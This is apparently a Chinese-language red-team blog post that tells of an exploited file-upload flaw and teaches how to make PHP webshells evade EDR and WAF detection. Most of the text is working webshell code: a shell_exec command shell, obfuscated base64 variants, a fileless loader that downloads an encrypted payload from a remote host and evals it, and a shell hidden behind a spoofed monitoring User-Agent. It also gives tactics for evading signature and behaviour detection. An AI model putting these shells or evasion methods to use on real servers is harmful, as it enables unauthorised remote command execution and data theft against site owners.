一、一次“无声无息”的渗透行动
还记得去年冬天,我曾参与一次针对某互联网公司的红队演习。目标资产是一台对外的业务服务器,而这台服务器的职责是管理用户文件上传和存储。经过仔细的探测和某些社工技巧,我们发现了一处文件上传点。直觉告诉我:这里可能是突破口。

当时,上传接口虽然有基本的 MIME 类型验证和后端文件检测,但没有特别严格的逻辑。通过一系列测试,我们成功上传了一个 Webshell。然而,故事并没有就此结束。由于目标服务器部署了某知名 EDR 产品,常见的 Webshell 直接暴露在瞬间被拦截。为了继续渗透,绕过“免杀”成为关键任务。
接下来,我将重现这次攻防旅程,分享如何从 Webshell 上传到免杀,再到顺利完成权限提升和数据窃取的完整过程。
---

二、从普通 Webshell 到“隐秘武器”
漏洞利用的起点
在渗透目标之前,我们先简单复现一下文件上传漏洞的利用。以下是一个构造简单的 Shell 文件的示例代码(PHP):
<pre><code class="language-php"><?php if (isset($_REQUEST['cmd'])) { echo '<pre>' . shell_exec($_REQUEST['cmd']) . '</pre>'; } ?></code></pre>
这个 Webshell 的功能非常基础,通过 ?cmd= 参数执行任意系统命令。然而,这样的代码在实际渗透中几乎无法使用。当前的主流安全产品都能够轻松识别这种简单的 Webshell。
为此,我们需要对 Webshell 进行免杀处理。
---
免杀的基本思路
在安全产品的检测逻辑中,大多数 Webshell 的识别基于以下特征:
- 代码模式匹配:常见的
shell_exec、eval、assert等关键函数被标记为高危。 - 加密流量解密:某些安全系统会对加密传输内容进行解码,寻找恶意特征。
- 行为分析:Webshell 运行过程中调用的系统命令、网络模块、文件操作可能触发沙箱或动态检测。
为了绕过这些检测,我们需要对 Webshell 的代码进行重构和混淆,甚至使用代码动态加载技术。接下来我们深入实践。
---
三、从“直接暴露”到“隐秘潜入”
混淆:让代码看起来更安全
混淆是最基础的一步。以下是一个简单的混淆示例,把核心功能隐藏到变量中,并改变代码结构:
<pre><code class="language-php"><?php $func = 'shell' . '_exec'; // 动态拼接函数名 if (isset($_REQUEST['execute'])) { $command = base64_decode($_REQUEST['execute']); // 解码命令 echo '<pre>' . $func($command) . '</pre>'; // 执行解码后的命令 } ?></code></pre>
解读:
- 通过动态拼接函数名,将
shell_exec隐藏。 - 使用 Base64 对传递的命令进行加密,避免明文特征暴露。
- 重构代码逻辑,让检测规则更加难以适配。
---
内存加载:隐藏代码的关键
如果目标服务器的防御体系较强,混淆可能并不足以绕过检测。这时,我们需要使用内存加载技术,让恶意代码“无文件化”,避免被磁盘扫描检测到。
以下是一个 PHP 的内存加载示例,它会从远端拉取加密的代码并执行:
<pre><code class="language-php"><?php $key = 'my_secret_key'; // 对称加密密钥 $remote_url = 'http://example.com/payload.enc'; // 加密的 Webshell 远程地址
// 下载加密的 payload $encrypted_code = file_get_contents($remote_url);
// 解密 $decoded_code = openssl_decrypt($encrypted_code, 'AES-128-ECB', $key);
// 动态执行解密后的代码 eval($decoded_code); ?></code></pre>

解读:
payload.enc是存储在远程服务器上的加密 Webshell 文件。- 使用
openssl_decrypt按照指定的密钥解密。 - 最终通过
eval()动态执行解密后的代码。
这种方式的优势在于:
- 本地没有任何恶意代码的明文存储。
- 攻击者可以随时更换远端
payload.enc的内容,而无需修改客户端代码。
---
二次编码:混合伪装特征
有时,我们可以利用语言中的一些特性进行二次编码,使恶意代码显得更加“正常”。以下是一个二次编码的例子:
<pre><code class="language-php"><?php $command = $_REQUEST['code'] ?? ''; // 接收用户传入的代码 $function = create_function('$c', 'return base64_decode($c);'); // 动态创造函数 eval($function($command)); // 动态执行解码后的代码 ?></code></pre>
这里的 create_function() 和 base64_decode() 配合,让代码的目的更难被直接识别。
---
四、流量伪装:绕过传输层检测
即使 Webshell 本身免杀,传输过程中也可能被流量检测设备(如 WAF、IDS/IPS)拦截。为了绕过传输层检测,我们可以对流量进行伪装。以下是一个流量伪装的思路:
使用自定义协议
将恶意的通信流量伪装成普通的 HTTP 或 WebSocket 协议。举个例子:
<pre><code class="language-php"><?php if ($_SERVER['HTTP_USER_AGENT'] === 'PingdomBot') { $key = 'V2VsY29tZVRvUmVkVGVhbQ=='; // base64 加密的密钥 $cmd = base64_decode($_POST['data']); // 解密命令 echo shell_exec($cmd); // 执行命令 } ?></code></pre>
在这个例子中:
- 代码通过检测
User-Agent字段伪装成合法的 Pingdom 监控流量。 - 使用 Base64 对传输内容进行简单加密。
攻击者可以通过定制客户端发送特定的 User-Agent 和加密数据,与 Webshell 进行通信。
---
五、防御力量的破解与应对
作为红队,我们的目标是持续优化攻击方法,但也需要了解防守者的策略。以下是当前主流防御方式及其绕过思路:
特征检测
防御方通常会对 Webshell 的特征进行签名匹配。针对这种检测,攻击者可以:
- 动态修改代码结构,让特征难以提取。
- 使用非标准函数或自定义加密算法。
行为分析
现代 EDR 产品能够通过动态分析 Webshell 的行为识别其意图。攻击者的应对策略包括:
- 将敏感操作(如
shell_exec)分离到异步任务中,由另一个进程执行。 - 降低单次攻击的行为特征,分布式执行多个小操作。
---
六、经验总结:对抗是一场持久战
在免杀这条路上,攻击者和防御者的攻防永远在拉锯。作为红队人员,我们需要不断更新自己的工具链和思路:
- 代码动态生成:通过脚本自动生成千变万化的 Webshell。
- 协议伪装:模拟合法流量特征,隐藏恶意行为。
- “无文件化”攻击:尽量减少落地文件,让恶意代码只存在于内存中。
合法声明:本文所有技术仅供授权范围内的安全研究与教育用途,切勿用于非法用途,否则后果自负。
希望这些技术可以为你的红队之路提供一些启发,同时也提醒防守方在攻防对抗中保持警惕。